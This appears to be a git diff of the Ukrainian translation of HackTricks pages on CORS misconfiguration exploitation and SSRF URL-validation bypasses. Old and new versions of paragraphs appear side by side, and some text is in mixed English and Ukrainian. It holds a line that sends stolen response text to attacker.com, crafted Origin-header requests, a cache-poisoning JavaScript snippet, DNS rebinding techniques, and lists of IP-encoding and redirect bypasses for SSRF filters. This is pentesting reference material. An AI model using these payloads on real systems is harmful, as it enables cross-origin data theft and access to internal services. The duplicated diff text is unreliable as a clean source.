Шаблони Regex зазвичай зосереджуються на алфавітно-цифрових, крапкових (.) та дефісних (-) символах, ігноруючи інші можливості. Наприклад, ім'я домену, створене з використанням символів, які браузери та шаблони regex інтерпретують по-різному, може обійти перевірки безпеки. Обробка символів підкреслення в піддоменах браузерами Safari, Chrome та Firefox ілюструє, як такі розбіжності можуть бути використані для обходу логіки валідації доменів.
**Для отримання додаткової інформації та налаштувань цього обходу:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **та** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
@ -210,9 +210,9 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
### З XSS всередині піддомену
Розробники часто впроваджують захисні механізми для захисту від експлуатації CORS, створюючи білий список доменів, яким дозволено запитувати інформацію. Незважаючи на ці запобіжні заходи, безпека системи не є бездоганною. Наявність навіть одного вразливого піддомену в межах доменів з білого списку може відкрити двері для експлуатації CORS через інші вразливості, такі як XSS (міжсайтове скриптування).
Розробники часто впроваджують захисні механізми для захисту від експлуатації CORS, дозволяючи лише певні домени для запитів інформації. Незважаючи на ці запобіжні заходи, безпека системи не є бездоганною. Наявність навіть одного вразливого піддомену в списку дозволених доменів може відкрити двері для експлуатації CORS через інші вразливості, такі як XSS (міжсайтове скриптування).
Щоб проілюструвати, розгляньте сценарій, коли домен `requester.com` внесено до білого списку для доступу до ресурсів з іншого домену, `provider.com`. Конфігурація на стороні сервера може виглядати приблизно так:
Щоб проілюструвати, розгляньте сценарій, де домен `requester.com` дозволено для доступу до ресурсів з іншого домену, `provider.com`. Конфігурація на стороні сервера може виглядати приблизно так:
```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
@ -220,13 +220,13 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Unauthorized access
}
```
У цьому налаштуванні всі піддомени `requester.com` мають доступ. Однак, якщо піддомен, скажімо, `sub.requester.com`, скомпрометований через вразливість XSS, зловмисник може скористатися цією слабкістю. Наприклад, зловмисник з доступом до `sub.requester.com` може використати вразливість XSS, щоб обійти політики CORS і зловмисно отримати доступ до ресурсів на `provider.com`.
У цій конфігурації всі піддомени `requester.com` мають доступ. Однак, якщо піддомен, скажімо, `sub.requester.com`, має вразливість XSS, зловмисник може скористатися цією слабкістю. Наприклад, зловмисник з доступом до `sub.requester.com` може використати вразливість XSS, щоб обійти політики CORS і зловмисно отримати доступ до ресурсів на `provider.com`.
### **Спеціальні символи**
Підсумкова таблиця обходу [перевірки URL](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet) від PortSwigger виявила, що деякі браузери підтримують дивні символи в доменних іменах.
PortSwiggers [URL validation bypass cheat sheet](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet) виявив, що деякі браузери підтримують дивні символи в доменних іменах.
Chrome і Firefox підтримують підкреслення `_`, які можуть обійти регулярні вирази, реалізовані для перевірки заголовка `Origin`:
Chrome і Firefox підтримують підкреслення `_`, які можуть обійти regex, реалізовані для перевірки заголовка `Origin`:
```
GET / HTTP/2
Cookie: <session_cookie>
@ -251,11 +251,17 @@ Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true
```
### **Інші кумедні трюки з URL**
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}
### **Отруєння кешу на стороні сервера**
[**З цього дослідження**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
Існує можливість, що шляхом експлуатації отруєння кешу на стороні сервера через ін'єкцію HTTP заголовків можна викликати збережену вразливість Cross-Site Scripting (XSS). Цей сценарій розгортається, коли додаток не очищає заголовок `Origin` від незаконних символів, створюючи вразливість, особливо для користувачів Internet Explorer та Edge. Ці браузери трактують (0x0d) як законний термінатор HTTP заголовка, що призводить до вразливостей ін'єкції HTTP заголовків.
Існує можливість, що шляхом експлуатації отруєння кешу на стороні сервера через ін'єкцію HTTP заголовків можна викликати зберігання вразливості Cross-Site Scripting (XSS). Цей сценарій розгортається, коли додаток не очищає заголовок `Origin` від незаконних символів, створюючи вразливість, особливо для користувачів Internet Explorer та Edge. Ці браузери трактують (0x0d) як законний термінатор HTTP заголовка, що призводить до вразливостей ін'єкції HTTP заголовків.
Розгляньте наступний запит, де маніпулюється заголовок `Origin`:
```
@ -268,23 +274,23 @@ HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
While directly exploiting this vulnerability by making a web browser send a malformed header is not feasible, a crafted request can be manually generated using tools like Burp Suite. This method could lead to a server-side cache saving the response and inadvertently serving it to others. The crafted payload aims to alter the page's character set to UTF-7, a character encoding often associated with XSS vulnerabilities due to its ability to encode characters in a way that can be executed as script in certain contexts.
Хоча безпосереднє використання цієї вразливості шляхом відправлення неправильно сформованого заголовка веб-браузером є недоцільним, спеціально підготовлений запит можна вручну згенерувати за допомогою інструментів, таких як Burp Suite. Цей метод може призвести до того, що кеш на стороні сервера зберігатиме відповідь і ненавмисно надаватиме її іншим. Спеціально підготовлений вантаж має на меті змінити набір символів сторінки на UTF-7, кодування символів, яке часто асоціюється з вразливостями XSS через його здатність кодувати символи таким чином, що їх можна виконати як скрипт у певних контекстах.
Для подальшого читання про збережені вразливості XSS, дивіться [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
Для подальшого читання про збережені вразливості XSS дивіться [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
**Примітка**: Експлуатація вразливостей ін'єкції HTTP заголовків, зокрема через отруєння кешу на стороні сервера, підкреслює критичну важливість валідації та очищення всіх введених користувачем даних, включаючи HTTP заголовки. Завжди використовуйте надійну модель безпеки, яка включає валідацію введених даних, щоб запобігти таким вразливостям.
**Примітка**: Використання вразливостей ін'єкції HTTP-заголовків, зокрема через отруєння кешу на стороні сервера, підкреслює критичну важливість перевірки та очищення всіх введених користувачем даних, включаючи HTTP-заголовки. Завжди використовуйте надійну модель безпеки, яка включає перевірку введених даних, щоб запобігти таким вразливостям.
### **Отруєння кешу на стороні клієнта**
[**З цього дослідження**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
In this scenario, an instance of a web page reflecting the contents of a custom HTTP header without proper encoding is observed. Specifically, the web page reflects back the contents included in a `X-User-id` header, which could include malicious JavaScript, as demonstrated by the example where the header contains an SVG image tag designed to execute JavaScript code on load.
У цьому сценарії спостерігається екземпляр веб-сторінки, що відображає вміст спеціального HTTP-заголовка без належного кодування. Зокрема, веб-сторінка відображає вміст, включений у заголовок `X-User-id`, який може містити шкідливий JavaScript, як показано в прикладі, де заголовок містить тег SVG-изображення, призначений для виконання JavaScript-коду при завантаженні.
Політики Cross-Origin Resource Sharing (CORS) дозволяють надсилати користувацькі заголовки. Однак, якщо відповідь не відображається безпосередньо браузером через обмеження CORS, корисність такої ін'єкції може здаватися обмеженою. Критичний момент виникає, коли розглядається поведінка кешу браузера. Якщо заголовок `Vary: Origin` не вказано, стає можливим, щоб шкідлива відповідь була кешована браузером. В подальшому, ця кешована відповідь може бути відображена безпосередньо при переході за URL, обходячи необхідність прямого відображення під час початкового запиту. Цей механізм підвищує надійність атаки, використовуючи кешування на стороні клієнта.
Політики Cross-Origin Resource Sharing (CORS) дозволяють надсилати спеціальні заголовки. Однак, якщо відповідь не відображається безпосередньо браузером через обмеження CORS, корисність такої ін'єкції може здаватися обмеженою. Критичний момент виникає при розгляді поведінки кешу браузера. Якщо заголовок `Vary: Origin` не вказано, стає можливим, щоб шкідлива відповідь була кешована браузером. В подальшому ця кешована відповідь може бути відображена безпосередньо при переході за URL, обходячи необхідність безпосереднього відображення під час початкового запиту. Цей механізм підвищує надійність атаки, використовуючи кешування на стороні клієнта.
To illustrate this attack, a JavaScript example is provided, designed to be executed in the environment of a web page, such as through a JSFiddle. This script performs a simple action: it sends a request to a specified URL with a custom header containing the malicious JavaScript. Upon successful request completion, it attempts to navigate to the target URL, potentially triggering the execution of the injected script if the response has been cached without proper handling of the `Vary: Origin` header.
Щоб проілюструвати цю атаку, наводиться приклад JavaScript, призначений для виконання в середовищі веб-сторінки, наприклад, через JSFiddle. Цей скрипт виконує просту дію: він надсилає запит на вказаний URL з спеціальним заголовком, що містить шкідливий JavaScript. Після успішного завершення запиту він намагається перейти на цільовий URL, потенційно викликаючи виконання ін'єкованого скрипту, якщо відповідь була кешована без належної обробки заголовка `Vary: Origin`.
Here's a summarized breakdown of the JavaScript used to execute this attack:
Ось короткий огляд JavaScript, використаного для виконання цієї атаки:
```html
<script>
function gotcha() { location=url }
@ -304,7 +310,7 @@ XSSI, також відомий як Cross-Site Script Inclusion, є типом
Ця вразливість стає особливо значущою, коли йдеться про динамічний JavaScript або JSONP (JSON з Padding), особливо коли для аутентифікації використовуються дані про навколишнє середовище, такі як куки. При запиті ресурсу з іншого хоста куки включаються, що робить їх доступними для зловмисника.
Щоб краще зрозуміти і зменшити цю вразливість, ви можете використовувати плагін BurpSuite, доступний за адресою [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Цей плагін може допомогти виявити та усунути потенційні вразливості XSSI у ваших веб-додатках.
Щоб краще зрозуміти та пом'якшити цю вразливість, ви можете використовувати плагін BurpSuite, доступний за адресою [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Цей плагін може допомогти виявити та усунути потенційні вразливості XSSI у ваших веб-додатках.
[**Читати більше про різні типи XSSI та як їх експлуатувати тут.**](xssi-cross-site-script-inclusion.md)
@ -316,12 +322,12 @@ XSSI, також відомий як Cross-Site Script Inclusion, є типом
Один зі способів обійти обмеження `Access-Control-Allow-Origin` - це запитати веб-додаток, щоб він зробив запит від вашого імені та надіслав відповідь назад. Однак у цьому сценарії облікові дані кінцевої жертви не будуть надіслані, оскільки запит робиться до іншого домену.
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Цей інструмент надає проксі, який пересилає ваш запит разом з його заголовками, одночасно підробляючи заголовок Origin, щоб відповідати запитаному домену. Це ефективно обіймає політику CORS. Ось приклад використання з XMLHttpRequest:
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Цей інструмент надає проксі, який пересилає ваш запит разом з його заголовками, одночасно підробляючи заголовок Origin, щоб відповідати запитаному домену. Це ефективно обминає політику CORS. Ось приклад використання з XMLHttpRequest:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Цей інструмент пропонує альтернативний підхід до проксирування запитів. Замість того, щоб передавати ваш запит як є, сервер робить свій власний запит з вказаними параметрами.
### Iframe + Popup Bypass
Ви можете **обійти перевірки CORS**, такі як `e.origin === window.origin`, **створивши iframe** і **з нього відкриваючи нове вікно**. Більше інформації на наступній сторінці:
Ви можете **обійти перевірки CORS**, такі як `e.origin === window.origin`, створивши **iframe** і **з нього відкривши нове вікно**. Більше інформації на наступній сторінці:
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
@ -349,11 +355,11 @@ DNS rebinding може бути корисним для обходу явних
### DNS Rebinding via **DNS Cache Flooding**
DNS rebinding через затоплення кешу DNS - це ще одна техніка, яка використовується для обходу механізму кешування браузерів і примушення другого DNS-запиту. Ось як це працює:
DNS rebinding через затоплення кешу DNS - це ще одна техніка, яка використовується для обходу механізму кешування браузерів і примушення до другого DNS-запиту. Ось як це працює:
1. Спочатку, коли жертва робить DNS-запит, на нього відповідає IP-адреса зловмисника.
1. Спочатку, коли жертва робить DNS-запит, на нього відповідають IP-адресою зловмисника.
2. Щоб обійти захист кешування, зловмисник використовує сервісний робітник. Сервісний робітник затоплює кеш DNS, що ефективно видаляє кешоване ім'я сервера зловмисника.
3. Коли браузер жертви робить другий DNS-запит, на нього тепер відповідає IP-адреса 127.0.0.1, яка зазвичай відноситься до localhost.
3. Коли браузер жертви робить другий DNS-запит, на нього тепер відповідають IP-адресою 127.0.0.1, яка зазвичай посилається на localhost.
Затоплюючи кеш DNS за допомогою сервісного робітника, зловмисник може маніпулювати процесом розв'язання DNS і примусити браузер жертви зробити другий запит, цього разу розв'язуючи на бажану IP-адресу зловмисника.
@ -387,9 +393,9 @@ DNS rebinding через затоплення кешу DNS - це ще одна
### Зброя DNS Rebidding
Ви можете знайти більше інформації про попередні техніки обходу та як використовувати наступний інструмент у доповіді [Gerald Doussot - Стан атак DNS Rebinding & Унікальність походження - конференція DEF CON 27](https://www.youtube.com/watch?v=y9-0lICNjOQ).
Ви можете знайти більше інформації про попередні техніки обходу та як використовувати наступний інструмент у доповіді [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
[**`Унікальність походження`**](https://github.com/nccgroup/singularity) - це інструмент для виконання [атак DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Він включає необхідні компоненти для переприв'язки IP-адреси DNS-імені сервера атаки до IP-адреси цільової машини та для надання атакуючих корисних навантажень для експлуатації вразливого програмного забезпечення на цільовій машині.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) - це інструмент для виконання [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) атак. Він включає необхідні компоненти для переприв'язки IP-адреси DNS-імені сервера атаки до IP-адреси цільової машини та для надання атакуючих корисних навантажень для експлуатації вразливого програмного забезпечення на цільовій машині.
### Реальний захист від DNS Rebinding

View file

@ -60,6 +60,10 @@ http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001
# Mixed encodings bypass
169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number
0xA9.254.0251.0376 -> hexadecimal, decimal and octal
# Add 0s bypass
127.000000000000.1
@ -152,7 +156,7 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
#Parameter pollution
next={domain}&next=attacker.com
```
### Обхід шляхів та розширень
### Paths and Extensions Bypass
Якщо вимагається, щоб URL закінчувався шляхом або розширенням, або повинен містити шлях, ви можете спробувати один з наступних обходів:
```
@ -168,10 +172,12 @@ The tool [**recollapse**](https://github.com/0xacb/recollapse) can generate vari
Check out the [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) from portswigger where you can introduce the allowed host and the attackers one and it'll generate a list of URLs to try for you. It also considers if you can use the URL in a parameter, in a Host header or in a CORS header.
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
### Bypass via redirect
It might be possible that the server is **фільтрує оригінальний запит** SSRF **але не** можливу **перенаправлення** відповідь на цей запит.\
For example, a server vulnerable to SSRF via: `url=https://www.google.com/` might be **фільтрує параметр url**. But if you use a [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) to the place where you want to redirect, you might be able to **доступ до відфільтрованих IP-адрес** like 127.0.0.1 or even filtered **протоколи** like gopher.\
For example, a server vulnerable to SSRF via: `url=https://www.google.com/` might be **фільтрує параметр url**. But if you uses a [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) to the place where you want to redirect, you might be able to **доступ до відфільтрованих IP-адрес** like 127.0.0.1 or even filtered **протоколи** like gopher.\
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -201,6 +207,10 @@ _Трюк з зворотним слешем_ використовує різн
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
### Лівий квадратний дужка
Символ “лівий квадратний дужка” `[` в сегменті userinfo може призвести до того, що UriComponentsBuilder Spring поверне значення імені хоста, яке відрізняється від браузерів: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
### Інші непорозуміння
![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (600).png>)
@ -211,6 +221,7 @@ _Трюк з зворотним слешем_ використовує різн
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
* [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
@ -222,7 +233,7 @@ _Трюк з зворотним слешем_ використовує різн
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться трюками з хакінгу, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
* **Діліться трюками хакерів, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}